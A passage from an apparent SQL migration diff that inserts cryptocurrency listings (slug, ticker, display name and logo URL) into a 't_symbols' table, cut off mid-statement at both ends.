'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nework.png', NULL); +INSERT INTO `t_symbols` VALUES (1261, 'roobee-platform', 'ROOBEE', 'Roobee', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/roobee-platform.png', NULL); +INSERT INTO `t_symbols` VALUES (1262, 'effect-ai', 'EFX', 'Effect Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/effect-ai.png', NULL); +INSERT INTO `t_symbols` VALUES (1263, 'patientory', 'PTOY', 'Patientory', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/patientory.png', NULL); +INSERT INTO `t_symbols` VALUES (1264, 'apisplatform', 'APIX', 'APIX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apisplatform.png', NULL); +INSERT INTO `t_symbols` VALUES (1265, 'polka-city', 'POLC', 'Polkacity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polka-city.png', NULL); +INSERT INTO `t_symbols` VALUES (1266, 'times-chain', 'TCC', 'times-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/times-chain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1267, 'loser-coin', 'LOWB', 'Loser Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loser-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1268, 'chainium', 'CHX', 'WeOwn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainium.png', NULL); +INSERT INTO `t_symbols` VALUES (1269, 'value-liquidity', 'VALUE', 'Value Liquidity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/value-liquidity.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1270, 'icoin', 'ICN', 'iCoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1271, 'micro', 'MICRO', 'Micromines', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/micro.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1272, 'primecoin', 'XPM', 'Primecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/primecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1273, 'banana-token', 'BNANA', 'Chimpion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/banana-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1274, 'halalchain', 'HLC', 'HalalChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/halalchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1275, 'massgrid', 'MGD', 'Mass Grid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/massgrid.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1276, 'ripio-credit-network', 'RCN', 'Ripio Credit Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripio-credit-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1277, 'moeda-loyalty-points', 'MDA', 'Moeda Loyalty Points', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moeda-loyalty-points.png', NULL); +INSERT INTO `t_symbols` VALUES (1278, 'edgeless', 'EDG', 'Edgeless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edgeless.png', NULL); +INSERT INTO `t_symbols` VALUES (1279, 'rebl', 'REBL', 'Rebellious', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rebl.png', NULL); +INSERT INTO `t_symbols` VALUES (1280, 'eai', 'EAI', 'EthereumAI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eai.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1281, 'vexanium', 'VEX', 'Vexanium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vexanium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1282, 'co', 'CO', 'Corite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/corite.png', NULL); +INSERT INTO `t_symbols` VALUES (1283, 'pegaxystone', 'PGX', 'Pegaxy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pegaxy.png', NULL); +INSERT INTO `t_symbols` VALUES (1284, 'potcoin', 'POT', 'X Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/potcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1285, 'hig', 'HIG', 'hig', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hig.png', NULL); +INSERT INTO `t_symbols` VALUES (1286, 'afin-coin', 'AFIN', 'Asian Fintech', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/afin-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1287, 'credits', 'CS', 'CREDITS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/credits.png', NULL); +INSERT INTO `t_symbols` VALUES (1288, 'fear-nfts', 'FEAR', 'FEAR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fear-nfts.png', NULL); +INSERT INTO `t_symbols` VALUES (1289, 'bitcore', 'BTX', 'BitCore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcore.png', NULL); +INSERT INTO `t_symbols` VALUES (1290, 'crysto', 'CSO', 'CRYSTO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crysto.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1291, 'ink-protocol', 'XNK', 'Ink Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ink-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1292, 'hedpay', 'HDP.Ф', 'HEdpAY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedpay.png', NULL); +INSERT INTO `t_symbols` VALUES (1293, 'bezop', 'BEZ', 'Bezop', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bezop.png', NULL); +INSERT INTO `t_symbols` VALUES (1294, 'raven-protocol', 'RAVEN', 'Raven Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raven-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1295, 'amlt', 'AMLT', 'AMLT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amlt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1296, 'cpchain', 'CPC', 'CPChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cpchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1297, 'ycash', 'YEC', 'Ycash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ycash.png', NULL); +INSERT INTO `t_symbols` VALUES (1298, 'legends-room', 'LGD', 'Legends Room', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/LegendsRoom.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1299, 'newbitshares', 'NBS', 'New BitShares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newbitshares.png', NULL); +INSERT INTO `t_symbols` VALUES (1300, 'dxsale-network', 'SALE', 'DxSale Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dxsale-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1301, 'rock', 'RKT', 'Rock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rock.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1302, 'petrodollar', 'XPD', 'PetroDollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/petrodollar.png', NULL); +INSERT INTO `t_symbols` VALUES (1303, 'incakoin', 'NKA', 'IncaKoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/incakoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1304, 'monkey-project', 'MONK', 'Monk', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monkey-project.png', NULL); +INSERT INTO `t_symbols` VALUES (1305, 'ioi-token', 'IOI', 'IOI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ioi-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1306, 'fitchain', 'FIT', 'fitchain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1307, 'tigereum', 'TIG', 'TIG Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tigereum.png', NULL); +INSERT INTO `t_symbols` VALUES (1308, 'bbos', 'BBOS', 'bbos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bbos.png', NULL); +INSERT INTO `t_symbols` VALUES (1309, 'sora', 'XOR', 'Sora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sora.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1310, 'carboneum-c8-token', 'C8', 'Carboneum [C8] Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carboneum-c8-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1311, 'compendiumfi', 'CMFI', 'Compendium.Fi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/compendiumfi.png', NULL); +INSERT INTO `t_symbols` VALUES (1312, 'sirin-labs-token', 'SRN', 'Sirin Labs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sirin-labs-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1313, 'dinox', 'DNXC', 'DinoX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dinox.png', NULL); +INSERT INTO `t_symbols` VALUES (1314, 'neutron', 'NTRN', 'Neutron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Neutron_Crypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1315, 'hut', 'HUT', 'hut', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hut.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1316, 'c20', 'C20', 'CRYPTO20', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/c20.png', NULL); +INSERT INTO `t_symbols` VALUES (1317, 'fibos', 'FO', 'FIBOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fibos.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1318, 'dfohub', 'BUIDL', 'dfohub', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfohub.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1319, 'fnkos', 'FNKOS', 'Foglink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fnkos.png', NULL); +INSERT INTO `t_symbols` VALUES (1320, 'aidos-kuneen', 'ADK', 'Aidos Kuneen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aidos-kuneen.png', NULL); +INSERT INTO `t_symbols` VALUES (1321, 'bitasia-coin', 'BAC', 'bitasia-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitasia-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1322, 'azbitplatform', 'AZ', 'Azbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/azbitplatform.png', NULL); +INSERT INTO `t_symbols` VALUES (1323, 'uniform-fiscal-object', 'UFO', 'Uniform Fiscal Object', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uniform-fiscal-object.png', NULL); +INSERT INTO `t_symbols` VALUES (1324, 'deeponion', 'ONION', 'DeepOnion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deeponion.png', NULL); +INSERT INTO `t_symbols` VALUES (1325, 'herocoin', 'PLAY', 'HEROcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/herocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1326, 'tenup', 'TUP', 'Tenup', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tenup.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1327, 'intensecoin', 'ITNS', 'IntenseCoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1328, 'e-coin', 'ECN', 'E-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1329, 'gamestarter', 'GAME', 'Gamestarter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamestarter.png', NULL); +INSERT INTO `t_symbols` VALUES (1330, 'goldcoin', 'GLC', 'Goldcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1331, 'snodecoin', 'SND', 'SnodeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snodecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1332, 'pandacoin-pnd', 'PND', 'Pandacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pandacoin-pnd.png', NULL); +INSERT INTO `t_symbols` VALUES (1333, 'enigma-project', 'ENG', 'Enigma', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enigma-project.png', NULL); +INSERT INTO `t_symbols` VALUES (1334, 'wb', 'WB', 'wb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wb.png', NULL); +INSERT INTO `t_symbols` VALUES (1335, 'populous', 'PPT', 'Populous', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/populous.png', NULL); +INSERT INTO `t_symbols` VALUES (1336, 'acute-angle-cloud', 'AAC', 'Double-A Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acute-angle-cloud.png', NULL); +INSERT INTO `t_symbols` VALUES (1337, 'hush', 'HUSH', 'Hush', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hush.png', NULL); +INSERT INTO `t_symbols` VALUES (1338, 'unit-protocol', 'COL', 'Unit Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unit-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1339, 'viacoin', 'VIA', 'Viacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/viacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1340, 'lunes', 'LUNES', 'Lunes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunes.png', NULL); +INSERT INTO `t_symbols` VALUES (1341, 'debitum-network', 'DEB', 'Debitum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/debitum-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1342, 'moneybyte', 'MON', 'MoneyByte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moneybyte.png', NULL); +INSERT INTO `t_symbols` VALUES (1343, 'apex', 'CPX', 'Apex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1344, 'hakka-finance', 'HAKKA', 'Hakka.Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hakka-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (1345, 'startcoin', 'START', 'EverStart', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/startcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1346, 'bitcoin-plus', 'XBC', 'Bitcoin Plus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-plus.png', NULL); +INSERT INTO `t_symbols` VALUES (1347, 'alis', 'ALIS', 'ALIS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alis.png', NULL); +INSERT INTO `t_symbols` VALUES (1348, 'aware', 'AT', 'AWARE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aware.png', NULL); +INSERT INTO `t_symbols` VALUES (1349, 'mazacoin', 'MZC', 'Maza', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mazacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1350, 'garlicoin', 'GRLC', 'Garlicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/garlicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1351, 'biocoin', 'BIO', 'BioCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/biocoinproject.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1352, 'bitswift', 'BITS', 'Bit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Bit_Swift.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1353, 'betx', 'BETX', 'betx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betx.png', NULL); +INSERT INTO `t_symbols` VALUES (1354, 'buzzcoin', 'BUZZ', 'BUZZCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buzzcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1355, 'scala', 'XLA', 'Ripple Alpha', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scala.png', NULL); +INSERT INTO `t_symbols` VALUES (1356, 'likecoin', 'LIKE', 'Only1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/likecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1357, 'metaverse', 'ETP', 'Metaverse ETP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/metaverse.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (1358, 'cofound-it', 'CFI', 'Cofound.it', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cofound-it.png', NULL); +INSERT INTO `t_symbols` VALUES (1359, 'en-tan-mo', 'ETM', 'En-Tan-Mo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/7a2762d38b623ccc6ca6d9ba053ea8e6.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1360, 'elrond', 'ERD', 'Elrond ERD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/0dcc305a1e0bc85ece7a175cce117716.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1361, 'bankroll-network', 'BNKR', 'Bankroll Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bankroll-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1362, 'nuggets', 'NUG', 'Nuggets', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nuggets.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1363, 'ebcoin', 'EBC', 'EBCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ebcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1364, 'new', 'NEW', 'Newton Project', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/new.png', NULL); +INSERT INTO `t_symbols` VALUES (1365, 'latiumx', 'LATX', 'LatiumX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/latiumx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1366, 'bitether', 'BTR', 'Bitether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitether.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1367, 'kattana', 'KTN', 'Kattana', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kattana.png', NULL); +INSERT INTO `t_symbols` VALUES (1368, 'ivy', 'IVY', 'Ivy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ivy.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1369, 'heat-ledger', 'HEAT', 'HEAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/heatcrypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1370, 'social-send', 'SEND', 'Social Send', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/social-send.png', NULL); +INSERT INTO `t_symbols` VALUES (1371, 'bite', 'BITE', 'BitEthereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bite.png', NULL); +INSERT INTO `t_symbols` VALUES (1372, 'ecoin', 'ECOIN', 'Ecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1373, 'paragon', 'PRG', 'Paragon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paragon.png', NULL); +INSERT INTO `t_symbols` VALUES (1374, 'antnest-itelligence', 'AI', 'antnest-itelligence', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/antnest-itelligence.png', NULL); +INSERT INTO `t_symbols` VALUES (1375, 'qwc', 'QWC', 'Qwertycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qwc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1376, 'find-your-developer', 'FYD', 'FYDcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/find-your-developer.png', NULL); +INSERT INTO `t_symbols` VALUES (1377, 'linka', 'LINKA', 'LINKA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linka.png', NULL); +INSERT INTO `t_symbols` VALUES (1378, 'siacoinclassic', 'SCC', 'SiaClassic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/siacoinclassic.png', NULL); +INSERT INTO `t_symbols` VALUES (1379, 'decentr', 'DEC', 'Decentr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentr.png', NULL); +INSERT INTO `t_symbols` VALUES (1380, 'ttv', 'TTV', 'TV-TWO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ttv.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1381, 'smartlands', 'SLT', 'SafeWallet Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartlands.png', NULL); +INSERT INTO `t_symbols` VALUES (1382, 'lcs', 'LCS', 'LocalCoinSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lcs.png', NULL); +INSERT INTO `t_symbols` VALUES (1383, 'arp', 'ARP', 'ARP Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arp.png', NULL); +INSERT INTO `t_symbols` VALUES (1384, 'mothership', 'MSP', 'Mothership', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mothership.png', NULL); +INSERT INTO `t_symbols` VALUES (1385, 'nebula-ai', 'NBAI', 'Nebula AI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nebula-ai.png', NULL); +INSERT INTO `t_symbols` VALUES (1386, 'aeon', 'AEON', 'Aeon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aeon.png', NULL); +INSERT INTO `t_symbols` VALUES (1387, 'sumokoin', 'SUMO', 'Sumokoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sumokoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1388, 'linkeye', 'LET', 'Linkeye', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linkeye.png', NULL); +INSERT INTO `t_symbols` VALUES (1389, 'kittenfinance', 'KIF', 'KittenFinance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kittenfinance.png', NULL); +INSERT INTO `t_symbols` VALUES (1390, 'bonuscloud-token', 'BXC', 'BonusCloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bonuscloud-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1391, 'kobocoin', 'KOBO', 'Kobocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kobocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1392, 'idena', 'IDNA', 'Idena', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/idena.png', NULL); +INSERT INTO `t_symbols` VALUES (1393, 'kickico', 'KICK', 'Kick', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kickico.png', NULL); +INSERT INTO `t_symbols` VALUES (1394, 'props', 'PROPS', 'Props Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/props.png', NULL); +INSERT INTO `t_symbols` VALUES (1395, 'vtcoin', 'VTC', 'vtcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vtcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1396, 'phuture', 'PHTR', 'Phuture', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phuture.png', NULL); +INSERT INTO `t_symbols` VALUES (1397, 'know', 'KNOW', 'KNOW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/know.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1398, 'fab', 'FAB', 'FAB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fab.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1399, 'trueflip', 'TFL', 'TFL.io', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/truefliploto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1400, 'flycoin', 'FLY', 'Flycoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1401, 'moonswap', 'MOON', 'MoonSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonswap.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1402, 'bitcoin-hd', 'BHD', 'Bitcoin HD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-hd.png', NULL); +INSERT INTO `t_symbols` VALUES (1403, 'zero', 'ZER', 'Zero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zero.png', NULL); +INSERT INTO `t_symbols` VALUES (1404, 'use', 'USE', 'Usechain Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/use.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1405, 'catheon', 'CATHEON', 'Catheon Gaming', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1434227176967053317.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1406, 'malwarechain', 'MALW', 'MalwareChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/malwarechain.png', NULL); +INSERT INTO `t_symbols` VALUES (1407, 'spheroid-universe', 'SPH', 'Spheroid Universe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spheroid-universe.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1408, 'cryptoverificationcoin', 'CVCC', 'CryptoVerificationCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptoverificationcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1409, 'oschain', 'OSCH', 'Open Source Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oschain.png', NULL); +INSERT INTO `t_symbols` VALUES (1410, 'dacsee', 'DACS', 'DACSEE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dacsee.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1411, 'zodium-token', 'ZODI', 'Zodium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/zodium.png', NULL); +INSERT INTO `t_symbols` VALUES (1412, 'woodcoin', 'LOG', 'Woodcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/realWoodcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1413, 'walletreum', 'WALT', 'Walletreum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/walletreum.png', NULL); +INSERT INTO `t_symbols` VALUES (1414, 'darwinia-commitment-token', 'KTON', 'Darwinia Commitment', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darwinia-commitment-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1415, 'essentia', 'ESS', 'Essentia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/essentia.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1416, 'drops-ownership-power', 'DOP', 'Drops Ownership Power', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/drops-ownership-power.png', NULL); +INSERT INTO `t_symbols` VALUES (1417, 'chartex', 'CHART', 'ChartEx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chartex.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1418, 'peri', 'PERI', 'PERI Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peri.png', NULL); +INSERT INTO `t_symbols` VALUES (1419, 'rentberry', 'BERRY', 'Rentberry', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rentberry.png', NULL); +INSERT INTO `t_symbols` VALUES (1420, 'ploutoztoken', 'PLO', 'ploutoztoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ploutoztoken.png', NULL); +INSERT INTO 